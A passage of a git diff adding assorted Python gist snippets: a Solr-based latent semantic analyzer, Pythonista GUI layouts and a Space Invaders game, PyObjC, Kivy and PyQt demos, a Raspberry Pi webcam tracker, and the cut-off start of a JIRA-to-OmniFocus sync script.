+        self.currentIndex += 1
+        self.indexDict[self.currentIndex] = self.keyInQuestion #kinda funky, but since this will always be single threaded, it's ok
+        return self.currentIndex
+
+    def __getitem__(self,key):
+        self.keyInQuestion = key
+        if isinstance(key,basestring):
+            return self.stringDict[key]
+        else :
+            return self.indexDict[key]
+
+    def size(self):
+        return self.currentIndex + 1
+
+    def freeze(self):
+        #allow no more changes
+        self.stringDict.default_factory = None
+
+
+
+import scipy.sparse
+import numpy
+import sparsesvd
+class TermDocCollection(object):
+    def __init__(self,source=None,numTopics=10):
+        self._docDict = StringIndexDict()
+        self._termDict = StringIndexDict()
+        self._termVectors = []
+        self.numTopics = numTopics
+        for termVector in source:
+            self._termVectors.append(
+                (
+                    self._docDict[termVector[0]],
+                    {self._termDict[k]:v for k,v in termVector[1].iteritems()}
+                )
+            )
+        self._termDict.freeze()
+        self._docDict.freeze()
+
+        #memoized later:
+        self._svd = None
+        self._cscMatrix = None
+        self._uPrime = None
+
+
+    def _getCscMatrix(self):
+        if self._cscMatrix is not None:
+            return self._cscMatrix
+        num_nnz, data, indices, indptr = 0, [], [], [0]
+        for termVector in self._termVectors:
+            newIndices = [i for i in termVector[1].keys()]
+            newValues = [v for v in termVector[1].values()]
+            indices.extend(newIndices)
+            data.extend(newValues)
+            num_nnz += len(newValues)
+            indptr.append(num_nnz)
+        numTerms = self._termDict.size()
+        numDocs = self._docDict.size()
+        data = numpy.asarray(data)
+        indices = numpy.asarray(indices)
+        self._cscMatrix = scipy.sparse.csc_matrix((data, indices, indptr), shape=(numTerms, numDocs))
+        return self._cscMatrix
+
+    def _getSvd(self):
+        if self._svd is not None:
+            return self._svd
+        self._svd = sparsesvd.sparsesvd(self._getCscMatrix(), self.numTopics)
+        return self._svd
+
+    def _getUprime(self):
+        if self._uPrime is not None:
+            return self._uPrime
+        u,s,v = self._getSvd()
+        self._uPrime = numpy.dot(u.T,numpy.diag(s))
+        return self._uPrime
+
+    def getBlurredTerms(self,doc,cutoff):
+        if isinstance(doc,str):
+            doc = self._docDict[doc]
+        uPrime = self._getUprime()
+        _,_,v = self._getSvd()
+        blurredField = numpy.dot(uPrime,v[:,doc])
+        tokenIds = numpy.where(blurredField>cutoff)[0]
+        tokens = [self._termDict[id] for id in tokenIds]
+        return tokens
+
+
+
+def main(field,collection,solrUrl):
+    stvc = SolrTermVectorCollector(field='Body',feature='tf',batchSize=1000)
+    tdc = TermDocCollection(source=stvc,numTopics=100)
+    print tdc.getBlurredTerms('20710',0.2)
+    print tdc.getBlurredTerms('17250',0.1)
+    print tdc.getBlurredTerms('11113',0.1)
+
+if __name__ == "__main__":
+    from sys import argv
+    if len(argv)==0:
+        raise Exception("usage: python SemanticAnalyzer.py fieldname [collection [solrUrl]]")
+
+    field = argv[1]
+    collection = argv[2] if len(argv)>2 else "collection1"
+    solrUrl = argv[3] if len(argv)>3 else "http://localhost:8983/solr"
+    main(field,collection,solrUrl)
diff --git a/hard-gists/6103019/._snippet.py b/hard-gists/6103019/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6103019/._snippet.py differ
diff --git a/hard-gists/6103019/snippet.py b/hard-gists/6103019/snippet.py
new file mode 100644
index 00000000..d550c5c0
--- /dev/null
+++ b/hard-gists/6103019/snippet.py
@@ -0,0 +1,185 @@
+#
+# Hydrogen is a lightweight GUI framework for Pythonista
+#
+# Hydrogen        - https://gist.github.com/BashedCrab/5924965
+#
+# HydrogenLayouts - https://gist.github.com/BashedCrab/6103019
+#
+# HydrogenDemo    - https://gist.github.com/BashedCrab/5953776
+#
+
+from Hydrogen import HLayout
+from scene import Size
+
+# Column Layout places all components in a vertical column.
+# All components get their preferred height.  Width can be preferred or fill
+# the container
+	
+class HColumnLayout(HLayout):
+	def __init__(self, container):
+		HLayout.__init__(self, container)
+		self.fill_width = True
+	
+	def do_layout(self):
+		layoutSize = self.container.bounds.size()
+		width = layoutSize.w - (self.container.insets.width() + self.pad.width())
+		top = self.container.bounds.h - (self.container.insets.top + self.pad.top)
+		left = self.container.insets.left + self.pad.left
+		bottom = self.container.bounds.x + self.container.insets.bottom + self.pad.bottom
+		for c in self.container.components:
+			pref_size = c.get_preferred_size()
+			c.bounds.h = pref_size.h
+			if(pref_size.h > top - bottom):
+				c.bounds.y = bottom
+			else:
+				c.bounds.y = top - c.bounds.h
+			top = c.bounds.y - self.pad.height()
+			if(self.fill_width):
+				c.bounds.w = width
+				c.bounds.x = left
+			else:
+				c.bounds.w = min(c.get_preferred_size().w, width)
+				c.bounds.x = left + ((width - c.bounds.w) / 2)
+			
+	def get_preferred_size(self):
+		w = 0
+		h = 0
+		for c in self.container.components:
+			width, height = c.get_preferred_size().as_tuple()
+			w = max(w, width)
+			h += height + self.pad.height()
+		w += self.container.insets.width()
+		h += self.container.insets.height()
+		return Size(w, h)
+		
+# BarLayout is meant to arrange 3 components on a title bar or status bar.
+# Components can be aligned to the left edge, right edge or centred.
+		
+class HBarLayout(HLayout):
+	def __init__(self, container):
+		HLayout.__init__(self, container)
+		self.comp_dict = {}
+
+	def add(self, comp, constraint):
+		self.comp_dict[constraint] = comp
+			
+	def do_layout(self):
+		layoutSize = self.container.bounds.size()
+		left = self.container.insets.left + self.pad.left
+		right = layoutSize.w - (self.container.insets.right + self.pad.right)
+		bottom = self.container.insets.bottom + self.pad.bottom
+		top = layoutSize.h - (self.container.insets.top + self.pad.top)
+		try:
+			comp = self.comp_dict['left']
+			pref_size = comp.get_preferred_size()
+			comp.bounds.x = left
+			comp.bounds.y = bottom
+			comp.bounds.w = pref_size.w
+			comp.bounds.h = top - bottom
+			left += comp.bounds.w + self.pad.width()
+		except KeyError:
+			pass
+		try:
+			comp = self.comp_dict['right']
+			pref_size = comp.get_preferred_size()
+			comp.bounds.x = right - comp.bounds.w
+			comp.bounds.y = bottom
+			comp.bounds.w = pref_size.w
+			comp.bounds.h = top - bottom
+			right -= (comp.bounds.w + self.pad.width())
+		except KeyError:
+			pass
+		try:
+			comp = self.comp_dict['center']
+			pref_size = comp.get_preferred_size()
+			comp.bounds.x = left
+			comp.bounds.y = bottom
+			comp.bounds.w = right - left
+			comp.bounds.h = top - bottom
+		except KeyError:
+			pass
+
+	def get_preferred_size(self):
+		w = 0
+		h = 0
+		for c in self.container.components:
+			width, height = c.get_preferred_size().as_tuple()
+			h = max(h, height)
+			w += width + self.pad.width()
+		w += self.container.insets.width()
+		h += self.container.insets.height() + self.pad.height()
+		return Size(w, h)
+		
+# Window layout is meant to arrange 3 components on a page or window
+# The 'top' and 'bottom' components are aligned to their respective edges and preferred heights
+# The 'center' component is given the remainder of the space
+		
+class HWindowLayout(HLayout):
+	def __init__(self, container):
+		HLayout.__init__(self, container)
+		self.fill_width = True		
+		self.comp_dict = {}
+		
+	def add(self, comp, constraints):
+		if constraints is None:
+			constraints = 'center'
+		self.comp_dict[constraints] = comp
+			
+	def do_layout(self):
+		layoutSize = self.container.bounds.size()
+		width = layoutSize.w - (self.container.insets.width() + self.pad.width())
+		top = self.container.bounds.h - (self.container.insets.top + self.pad.top)
+		left = self.container.insets.left + self.pad.left
+		bottom = self.container.insets.bottom + self.pad.bottom
+		try:
+			comp = self.comp_dict['bottom']
+			prefSize = comp.get_preferred_size()
+			comp.bounds.y = bottom
+			comp.bounds.h = prefSize.h
+			if(self.fill_width):
+				comp.bounds.w = width
+				comp.bounds.x = left
+			else:
+				comp.bounds.w = prefSize.w
+				comp.bounds.x = left + (width - prefSize.w) / 2
+			bottom += comp.bounds.h + self.pad.height()
+		except KeyError:
+			pass
+		try:
+			comp = self.comp_dict['top']
+			prefSize = comp.get_preferred_size()
+			comp.bounds.h = prefSize.h
+			comp.bounds.y = top - prefSize.h
+			if(self.fill_width):
+				comp.bounds.w = width
+				comp.bounds.x = left
+			else:
+				comp.bounds.w = prefSize.w
+				comp.bounds.x = left + (width - prefSize.w) / 2
+			top = comp.bounds.y - self.pad.height()
+		except KeyError:
+			pass
+		try:
+			comp = self.comp_dict['center']
+			comp.bounds.y = bottom
+			comp.bounds.h = top - bottom
+			if(self.fill_width):
+				comp.bounds.w = width
+				comp.bounds.x = left
+			else:
+				prefSize = comp.get_preferred_size()
+				comp.bounds.w = prefSize.w
+				comp.bounds.x = left + (width - prefSize.w) / 2
+		except KeyError:
+			pass
+
+	def get_preferred_size(self):
+		w = 0
+		h = 0
+		for c in self.container.components:
+			width, height = c.get_preferred_size().as_tuple()
+			w = max(w, width)
+			h += height + self.pad.height()
+		w += self.container.insets.width()
+		h += self.container.insets.height()
+		return Size(w, h)
\ No newline at end of file
diff --git a/hard-gists/6105220/._snippet.py b/hard-gists/6105220/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6105220/._snippet.py differ
diff --git a/hard-gists/6105220/snippet.py b/hard-gists/6105220/snippet.py
new file mode 100644
index 00000000..37609be2
--- /dev/null
+++ b/hard-gists/6105220/snippet.py
@@ -0,0 +1,52 @@
+#!/usr/bin/env python
+# encoding: utf-8
+
+import sys
+import os
+
+# We need to import the relvant object definitions from PyObjC
+from AppKit import *
+from PyObjCTools import AppHelper
+
+# Cocoa prefers composition to inheritance. The members of an object's
+# delegate will be called upon the happening of certain events. Once we define
+# methods with particular names, they will be called automatically
+class Delegate (NSObject):
+    def applicationDidFinishLaunching_(self, aNotification):
+        '''Called automatically when the application has launched'''
+        print "Hello, World!"
+
+    def windowWillClose_(self, aNotification):
+        '''Called automatically when the window is closed'''
+        print "Window has been closed"
+        # Terminate the application
+        NSApp().terminate_(self)
+
+
+def main():
+    # Create a new application instance ...
+    a=NSApplication.sharedApplication()
+    # ... and create its delgate.  Note the use of the
+    # Objective C constructors below, because Delegate
+    # is a subcalss of an Objective C class, NSObject
+    delegate = Delegate.alloc().init()
+    # Tell the application which delegate object to use.
+    a.setDelegate_(delegate)
+
+    # Now we can can start to create the window ...
+    frame = ((200.0, 300.0), (250.0, 100.0))
+    # (Don't worry about these parameters for the moment. They just specify
+    # the type of window, its size and position etc)
+    w = NSWindow.alloc().initWithContentRect_styleMask_backing_defer_(frame, 15, 2, 0)
+    # ... tell it which delegate object to use (here it happens
+    # to be the same delegate as the application is using)...
+    w.setDelegate_(delegate)
+    # ... and set some properties. Unicode strings are preferred.
+    w.setTitle_(u'Hello, World!')
+    # All set.  Now we can show the window ...
+    w.orderFrontRegardless()
+    # ... and start the application
+    AppHelper.runEventLoop()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6113246/._snippet.py b/hard-gists/6113246/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6113246/._snippet.py differ
diff --git a/hard-gists/6113246/snippet.py b/hard-gists/6113246/snippet.py
new file mode 100644
index 00000000..0f50a398
--- /dev/null
+++ b/hard-gists/6113246/snippet.py
@@ -0,0 +1,270 @@
+# Space Invaders clone
+# by davebang
+
+from scene import *
+from time import sleep
+from console import *
+import sound
+from random import randint
+
+screen_size = Size()
+screen_factor = 0.0
+
+class Intro (Scene):
+	# draw scene and text
+	def draw(self):
+		background(0.2,0,0.2)
+		
+		tint(0.75,0.2,0.4)
+		text('SPACE INVADERS', x=(screen_size.w/2), y=(screen_size.h/20) * 18, font_size=48*screen_factor)
+		
+		tint(0.75,0.2,0.4)
+		text('       Drag one finger to move.\n     Tap second finger to shoot.\nHigher enemies give more points.', x=(screen_size.w/2), y=(screen_size.h/20) * 10, font_size=32*screen_factor)
+		
+		tint(0.75,0.2,0.4)
+		text('TAP TO BEGIN', x=(screen_size.w/2), y=(screen_size.h/12) * 2, font_size=32*screen_factor)
+	
+	# update is called but does nothing
+	def update(self, dt):
+		pass
+	
+	# on touch, begin game
+	def touch_began(self, touch):
+		main_scene.switch_scene(Game)
+		
+
+class Game (Scene):
+	def setup(self):
+		# pre-load sounds
+		sound.load_effect('Laser_1')
+		sound.load_effect('Explosion_2')
+		sound.load_effect('Explosion_4')
+		sound.load_effect('Laser_6')
+		
+		# main layer
+		self.layer = Layer(Rect(0, 0, screen_size.w, screen_size.h))
+		
+		# score
+		self.score = 0
+		
+		# ship sprite
+		self.ship = Layer(Rect((screen_size.w / 2) - 50, 
+		                       (screen_size.h / 20) * 2,
+		                       (100 * screen_factor),
+		                       (100 * screen_factor)))
+		
+		self.ship.image = 'Red_Triangle_1'
+		
+		self.ship.alpha = 1.0
+		self.ship.blendmode = BLEND_ADD
+		
+		self.layer.add_layer(self.ship)
+		
+		# ship's laser sprite
+		self.laser = Layer(Rect((screen_size.w / 2) - 3, 
+		                       (screen_size.h / 20) * 4,
+		                        6 * screen_factor, 20 * screen_factor))
+		
+		self.laser.background = Color(1,1,1,1)
+		self.laser.alpha = 0
+		
+		self.layer.add_layer(self.laser)
+		
+		# firing - is player currently firing?
+		self.firing = False
+		
+		# space monster
+		self.space_monster = []
+		self.space_monster_move_x = []
+		self.space_monster_laser = []
+		self.space_monster_firing =[]
+		
+		self.space_monster_fire_rate = 400
+		self.space_monster_max_speed = 2
+		
+		for i in range(5):
+			# space monster sprite
+			space_monster = Layer(Rect(0, 
+		                       			(screen_size.h / 9) * (2+(5-i)),
+		                     				(100 * screen_factor),
+		                      		  (100 * screen_factor)))
+		
+			space_monster.image = 'Alien_Monster'
+		
+			space_monster.alpha = 0
+			space_monster.blendmode = BLEND_ADD
+			
+			self.space_monster.append(space_monster)
+			
+			self.layer.add_layer(self.space_monster[i])
+			
+			# move x is current movement on x axis
+			self.space_monster_move_x.append(randint(-3, 3))
+			
+			# don't stop moving
+			if(self.space_monster_move_x[i] == 0):
+				self.space_monster_move_x[i] = 1
+				
+			# space monster laser
+			space_monster_laser = Layer(Rect(0, 0, 6 * screen_factor, 20 * screen_factor))
+		
+			space_monster_laser.background = Color(1,1,1,1)
+			space_monster_laser.alpha = 0
+			
+			self.space_monster_laser.append(space_monster_laser)
+		
+			self.layer.add_layer(self.space_monster_laser[i])
+			
+			self.space_monster_firing.append(False)
+			
+	def update(self, dt):
+		self.layer.update(dt)
+		
+		# on one finger touch - move ship	
+		if(len(self.touches) == 1):
+				touch = self.touches[self.touches.keys()[0]]
+				
+				# move ship towards touch location
+			  # only move ship if relative touch location is greater than 5 pixels/points from ship
+				if(abs(self.ship.frame.x - (touch.location.x - (45 * screen_factor))) > (5 * screen_factor)):
+					if(self.ship.frame.x < touch.location.x - (45 * screen_factor)):
+						# the further the touch location, the faster the ship should move
+						self.ship.frame.x += (3 + (abs(self.ship.frame.x - (touch.location.x - (45 * screen_factor))) / (screen_size.w / 64))) * screen_factor
+					else:
+						# the further the touch location, the faster the ship should move
+						self.ship.frame.x -= (3 + (abs(self.ship.frame.x - (touch.location.x - (45 * screen_factor))) / (screen_size.w / 64))) * screen_factor
+		
+		# if ship is firing, move laser up screen				
+		if(self.firing):
+			self.laser.frame.y += 7 * screen_factor
+			if(self.laser.frame.y > screen_size.h + 10):
+				self.laser.frame.y = (screen_size.h / 20) * 4
+				self.laser.alpha = 0
+				self.firing = False
+				
+		# move space monsters
+		for i in range(5):
+			frame = self.space_monster[i].frame
+			
+			if(frame.x > screen_size.w - frame.w):
+				self.space_monster_move_x[i] = randint(-self.space_monster_max_speed, -1)
+			elif(frame.x < 0):
+				self.space_monster_move_x[i] = randint(1, self.space_monster_max_speed)
+				
+			frame.x = frame.x + (self.space_monster_move_x[i] * screen_factor)
+			
+			# regen space monsters
+			if(self.space_monster[i].alpha == 0):
+				random_regen = randint(1, 200)
+				
+				if(random_regen == 1):
+					self.space_monster[i].frame.x = -self.space_monster[i].frame.w
+					self.space_monster[i].alpha = 1
+				elif(random_regen == 200):
+					self.space_monster[i].frame.x = screen_size.w
+					self.space_monster[i].alpha = 1
+			
+			# do space monster firing		
+			if(self.space_monster_firing[i]):
+				self.space_monster_laser[i].frame.y -= 7 * screen_factor
+				
+				if(self.space_monster_laser[i].frame.y < -self.space_monster_laser[i].frame.h):
+					self.space_monster_firing[i] = False
+			else:
+				if(self.space_monster[i].alpha == 1):
+					if(randint(1, self.space_monster_fire_rate) == 1):
+						self.space_monster_laser[i].frame = Rect(self.space_monster[i].frame.x + 				(self.space_monster[i].frame.w / 2), self.space_monster[i].frame.y - 15, 6 * screen_factor, 20 * screen_factor)
+						self.space_monster_laser[i].alpha = 1
+						self.space_monster_firing[i] = True
+						sound.play_effect('Laser_6')
+		
+		# detect players laser to space monster collision		
+		for i in range(5):
+			# if collision detected and space monster is currently alive (visible)
+			if(self.laser.frame.intersects(self.space_monster[i].frame) and self.space_monster[i].alpha == 1):
+				# update laser properties
+				self.laser.frame.y = (screen_size.h / 20) * 3
+				self.laser.alpha = 0
+				self.firing = False
+				self.space_monster[i].alpha = 0
+				
+				# update space monster properties
+				if(self.space_monster_fire_rate > 22):
+					self.space_monster_fire_rate -= 30
+				if(self.space_monster_max_speed < 15):
+					self.space_monster_max_speed += 1
+				
+				# add points
+				self.score += 2 * (6-i)
+				
+				# play sound
+				sound.play_effect('Explosion_2')
+				
+		# detect space monster laser to player collision		
+		for i in range(5):
+			# create a test frame - ship frame is larger than image
+			test_frame = Rect(self.ship.frame.x + (self.ship.frame.w / 4), self.ship.frame.y + (self.ship.frame.h / 4),
+			                  self.ship.frame.w - (self.ship.frame.w / 2), self.ship.frame.h - (self.ship.frame.h / 2))
+			                  
+			# if collision detected
+			if(self.space_monster_laser[i].frame.intersects(test_frame)):
+				sound.play_effect('Explosion_4')
+				sleep(5)
+				main_scene.switch_scene(Intro)
+		
+	# draw scene
+	def draw(self):
+		background(0.2,0,0.1)
+		
+		tint(0.75,0.2,0.4)
+		score = 'Score: {0}'.format(self.score)
+		text(score, x=(screen_size.w/2), y=(screen_size.h/20) * 18, font_size=48*screen_factor)
+		
+		self.layer.draw()
+		
+	def touch_began(self, touch):
+		# set firing and play sound on two finger touch
+		if(len(self.touches) == 2 and not(self.firing)):
+			sound.play_effect('Laser_1')
+			self.firing = True
+			self.laser.frame.x = self.ship.frame.x + (self.ship.frame.w / 2) - 3
+			self.laser.alpha = 1
+				
+# multiscene class provides the logic for switching scenes
+class MultiScene (Scene):
+	def __init__(self, new_scene):
+		self.active_scene = new_scene()
+		
+	def switch_scene(self, new_scene):
+		self.active_scene = new_scene()
+		self.setup()
+		
+	def setup(self):
+		global screen_size, screen_factor
+		screen_size = self.size
+		
+		# screen_factor is used throughout to ensure
+		# correct appearence across devices
+		screen_factor = screen_size.h / 1024
+		
+		self.active_scene.add_layer = self.add_layer
+		self.active_scene.touches = self.touches
+		self.active_scene.setup()
+		
+	def draw(self):
+		self.active_scene.touches = self.touches
+		self.active_scene.update(self.dt)
+		self.active_scene.draw()
+		
+	def touch_began(self, touch):
+		self.active_scene.touch_began(touch)
+		
+	def touch_moved(self, touch):
+		self.active_scene.touch_moved(touch)
+		
+	def touch_ended(self, touch):
+		self.active_scene.touch_ended(touch)
+		
+		
+main_scene = MultiScene(Intro)
+run(main_scene, orientation=PORTRAIT)
diff --git a/hard-gists/6118172/._snippet.py b/hard-gists/6118172/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6118172/._snippet.py differ
diff --git a/hard-gists/6118172/snippet.py b/hard-gists/6118172/snippet.py
new file mode 100644
index 00000000..35218b91
--- /dev/null
+++ b/hard-gists/6118172/snippet.py
@@ -0,0 +1,50 @@
+'''
+Use with Kivy Remote Shell:
+
+    cat test.py | ssh -p8000 -t -t admin@192.168.x.x
+'''
+
+from jnius import autoclass, cast
+from android.runnable import Runnable
+
+activity = autoclass('org.renpy.android.PythonActivity').mActivity
+AnalogClock = autoclass('android.widget.AnalogClock')
+WebView = autoclass('android.webkit.WebView')
+LinearLayout = autoclass('android.widget.LinearLayout')
+LayoutParams = autoclass('android.view.ViewGroup$LayoutParams')
+
+global clock
+def create_clock():
+    # works
+    global clock
+    clock = AnalogClock(activity)
+    activity.addContentView(clock, LayoutParams(-1, -1))
+
+def remove_clock():
+    global clock
+    cast(LinearLayout, clock.getParent()).removeView(clock)
+
+def create_webview():
+    # works
+    webview = WebView(activity)
+    activity.setContentView(webview)
+    webview.loadData('<html><body>Hello<b>World</b></body></html>', 'text/html',
+            None)
+
+def create_clock2():
+    # failed, sdlview?
+    layout = LinearLayout(activity)
+    layout.addView(activity.mView)
+    clock = AnalogClock(activity)
+    layout.addView(clock)
+    activity.setContentView(layout)
+
+def sdl_view():
+    # failed, "Invalid indirect reference..."
+    activity.setContentView(activity.mView)
+
+def run(f, *args, **kwargs):
+    # args/kwargs to runnable was a bug, fixed in main
+    Runnable(f)(args, kwargs)
+
+run(create_clock)
diff --git a/hard-gists/6145546/._snippet.py b/hard-gists/6145546/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6145546/._snippet.py differ
diff --git a/hard-gists/6145546/snippet.py b/hard-gists/6145546/snippet.py
new file mode 100644
index 00000000..178db697
--- /dev/null
+++ b/hard-gists/6145546/snippet.py
@@ -0,0 +1,23 @@
+import shutil
+import begin
+
+begin.subcommand(shutil.copy)
+begin.subcommand(shutil.copy2)
+begin.subcommand(shutil.copyfile)
+begin.subcommand(shutil.copymode)
+begin.subcommand(shutil.copystat)
+begin.subcommand(shutil.copytree)
+begin.subcommand(shutil.move)
+begin.subcommand(shutil.rmtree)
+
+# Patch in doc before the func is wrapped by begin.start
+def patch_doc(doc):
+    def decorate(func):
+        func.__doc__ = doc
+        return func
+    return decorate
+
+@begin.start
+@patch_doc(shutil.__doc__)
+def main():
+    pass
\ No newline at end of file
diff --git a/hard-gists/6146161/._snippet.py b/hard-gists/6146161/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6146161/._snippet.py differ
diff --git a/hard-gists/6146161/snippet.py b/hard-gists/6146161/snippet.py
new file mode 100644
index 00000000..c19c9c7a
--- /dev/null
+++ b/hard-gists/6146161/snippet.py
@@ -0,0 +1,52 @@
+import sys
+from PyQt4 import QtCore, QtGui
+
+class TabPlainTextEdit(QtGui.QTextEdit):
+    def __init__(self,parent):
+        QtGui.QTextEdit.__init__(self, parent)
+
+    def keyPressEvent(self, event):
+        # Shift + Tab is not the same as trying to catch a Shift modifier and a tab Key.
+        # Shift + Tab is a Backtab!!
+        if event.key() == QtCore.Qt.Key_Backtab:
+            cur = self.textCursor()
+            # Copy the current selection
+            pos = cur.position() # Where a selection ends
+            anchor = cur.anchor() # Where a selection starts (can be the same as above)
+
+            # Can put QtGui.QTextCursor.MoveAnchor as the 2nd arg, but this is the default
+            cur.setPosition(pos) 
+
+            # Move the position back one, selection the character prior to the original position
+            cur.setPosition(pos-1,QtGui.QTextCursor.KeepAnchor)
+            
+            if str(cur.selectedText()) == "\t":
+                # The prior character is a tab, so delete the selection
+                cur.removeSelectedText()
+                # Reposition the cursor with the one character offset
+                cur.setPosition(anchor-1)
+                cur.setPosition(pos-1,QtGui.QTextCursor.KeepAnchor)
+            else:
+                # Try all of the above, looking before the anchor (This helps if the achor is before a tab)
+                cur.setPosition(anchor) 
+                cur.setPosition(anchor-1,QtGui.QTextCursor.KeepAnchor)
+                if str(cur.selectedText()) == "\t":
+                    cur.removeSelectedText()
+                    cur.setPosition(anchor-1)
+                    cur.setPosition(pos-1,QtGui.QTextCursor.KeepAnchor)
+                else:
+
+                    # Its not a tab, so reset the selection to what it was
+                    cur.setPosition(anchor)
+                    cur.setPosition(pos,QtGui.QTextCursor.KeepAnchor)
+        else:
+            return QtGui.QTextEdit.keyPressEvent(self, event)
+
+def main():
+    app = QtGui.QApplication(sys.argv)
+    w = TabPlainTextEdit(None)
+    w.show()
+    sys.exit(app.exec_())
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/6146611/._snippet.py b/hard-gists/6146611/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6146611/._snippet.py differ
diff --git a/hard-gists/6146611/snippet.py b/hard-gists/6146611/snippet.py
new file mode 100644
index 00000000..af7ca7c0
--- /dev/null
+++ b/hard-gists/6146611/snippet.py
@@ -0,0 +1,108 @@
+# CamTracker.py - track a colourful object with a webcam mounted atop a servo
+# Running on a Raspberry Pi, Raspbian Wheezy OS
+# (c) Sakari Kapanen, 2013
+
+import cv2
+import numpy as np
+from RPIO import PWM
+
+# the HSV range we use to detect the colourful object
+Hmin = 159
+Hmax = 179 
+Smin = 108
+Smax = 255
+Vmin = 80
+Vmax = 255
+# minimum detected area
+minArea = 50
+# frame parameters
+width = 160
+height = 120
+cx = int(0.5 * width)
+cy = int(0.5 * height)
+# servo PWM pulsewidths
+dServo = 20
+servoVal = 1500
+servoMin = 500
+servoMax = 2500
+# the maximum delta (pixels) when the object is still considered centered
+eps = 15
+
+rangeMin = np.array([Hmin, Smin, Vmin], np.uint8)
+rangeMax = np.array([Hmax, Smax, Vmax], np.uint8)
+
+cv2.namedWindow("Adjustment")
+cv2.namedWindow("Video")
+cv2.namedWindow("Binary")
+
+def nothing(*args):
+  pass
+
+def updateRanges():
+  Hmin = cv2.getTrackbarPos("Hmin", "Adjustment")
+  Hmax = cv2.getTrackbarPos("Hmax", "Adjustment")
+  Smin = cv2.getTrackbarPos("Smin", "Adjustment")
+  Smax = cv2.getTrackbarPos("Smax", "Adjustment")
+  Vmin = cv2.getTrackbarPos("Vmin", "Adjustment")
+  Vmax = cv2.getTrackbarPos("Vmax", "Adjustment")
+  minArea = cv2.getTrackbarPos("minArea", "Adjustment")
+  rangeMin = np.array([Hmin, Smin, Vmin], np.uint8)
+  rangeMax = np.array([Hmax, Smax, Vmax], np.uint8)
+  return rangeMin, rangeMax, minArea
+
+# create controls for adjusting the detection range
+cv2.createTrackbar("Hmin", "Adjustment", Hmin, 179, nothing)
+cv2.createTrackbar("Hmax", "Adjustment", Hmax, 179, nothing)
+cv2.createTrackbar("Smin", "Adjustment", Smin, 255, nothing)
+cv2.createTrackbar("Smax", "Adjustment", Smax, 255, nothing)
+cv2.createTrackbar("Vmin", "Adjustment", Vmin, 255, nothing)
+cv2.createTrackbar("Vmax", "Adjustment", Vmax, 255, nothing)
+cv2.createTrackbar("minArea", "Adjustment", minArea, 1000, nothing)
+# capture from the first webcam found
+cap = cv2.VideoCapture(0)
+
+if cap.isOpened():
+  cap.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, width)
+  cap.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, height)
+
+  servo = PWM.Servo()
+  servo.set_servo(4, servoVal)
+  while True:
+    servo.set_servo(4, servoVal)
+    # read a frame
+    ret, image = cap.read()
+    # blur the frame
+    image = cv2.blur(image, (3, 3))
+    # convert to HSV
+    imgHSV = cv2.cvtColor(image, cv2.cv.CV_BGR2HSV)
+    rangeMin, rangeMax, minArea = updateRanges()
+    # pixels within range are set to 1, others to 0
+    imgThresh = cv2.inRange(imgHSV, rangeMin, rangeMax)
+    #imgThresh = cv2.blur(imgThresh, (2, 2))
+
+    # calculate image moments
+    moments = cv2.moments(imgThresh, True)
+    if moments['m00'] >= minArea:
+      # calculate the centroid of the object using the moments
+      x = moments['m10'] / moments['m00']
+      y = moments['m01'] / moments['m00']
+      cv2.circle(image, (int(x), int(y)), 5, (0, 255, 0), -1)
+      # move the servo if necessary, check limits
+      dx = x - cx
+      step = abs(int(dx / 20) * dServo)
+      if (x - cx) > eps:
+        servoVal += step
+      elif (cx - x) > eps:
+        servoVal -= step
+      if servoVal < servoMin:
+        servoVal = servoMin
+      if servoVal > servoMax:
+        servoVal = servoMax
+
+    cv2.imshow("Video", image)
+    cv2.imshow("Binary", imgThresh)
+    key = cv2.waitKey(10) 
+    if key == 27:
+      break
+
+cv2.destroyAllWindows()
diff --git a/hard-gists/614fc39a78d028c9dce9/._snippet.py b/hard-gists/614fc39a78d028c9dce9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/614fc39a78d028c9dce9/._snippet.py differ
diff --git a/hard-gists/614fc39a78d028c9dce9/snippet.py b/hard-gists/614fc39a78d028c9dce9/snippet.py
new file mode 100644
index 00000000..8c565f0c
--- /dev/null
+++ b/hard-gists/614fc39a78d028c9dce9/snippet.py
@@ -0,0 +1,257 @@
+"""
+Example snippet on how to sync from JIRA to omnifocus.
+
+The main function is OmniFocus.sync_jira_to_omnifocus().
+OmniFocus.process_jira_data() is customized to filter projects based on my own needs and will need updating.
+"""
+from applescript import AppleScript, ScriptError
+from datetime import datetime
+from json import JSONDecoder
+from logging import getLogger
+from urllib2 import urlopen
+
+log = getLogger('omni_jira')
+
+OMNI_FOLDER = "/Users/<user>/Library/Containers/com.omnigroup.OmniFocus2.MacAppStore/Data/Documents"
+TASK_FILENAME = "jira_tasks.txt"
+JIRA_URL = 'https://mysite.atlassian.net/browse/'
+PERSPECTIVE = 'Projects'  # I use a custom perspective which just shows the project with my jira issues
+
+
+FINISH_SCRIPT = lambda task, status, note, project: """
+on run
+    set theDate to current date
+    set theTask to "{0}"
+    set theStatus to "Status: {1}\n"
+    set theNote to "{2}"
+    set theContextName to "jira"
+    set theProjectName to "{3}"
+
+    tell application "OmniFocus"
+        tell front document
+            set theContext to first flattened context where its name = theContextName
+            set theProject to first flattened project where its name = theProjectName
+            if exists (first flattened task where its name = theTask and its context = theContext) then
+                -- Tasks exists, update the detail if necessary
+                set selectedTask to first flattened task where its name = theTask
+                set selectedNote to the paragraphs of the note of the selectedTask
+                -- Overwrite the note detail if the status has changed
+                if (item 1 of the selectedNote is not theStatus) then
+                    set the note of the selectedTask to theNote
+                end if
+                -- Complete task if necessary
+                if (not completed of the selectedTask) then
+                    set the completed of the selectedTask to true
+                end if
+            end if
+        end tell
+    end tell
+end run
+""".format(task, status, note, project)
+
+
+GET_SCRIPT = lambda perspective, folder, filename: """
+on run
+    set thePerspective to "{0}"
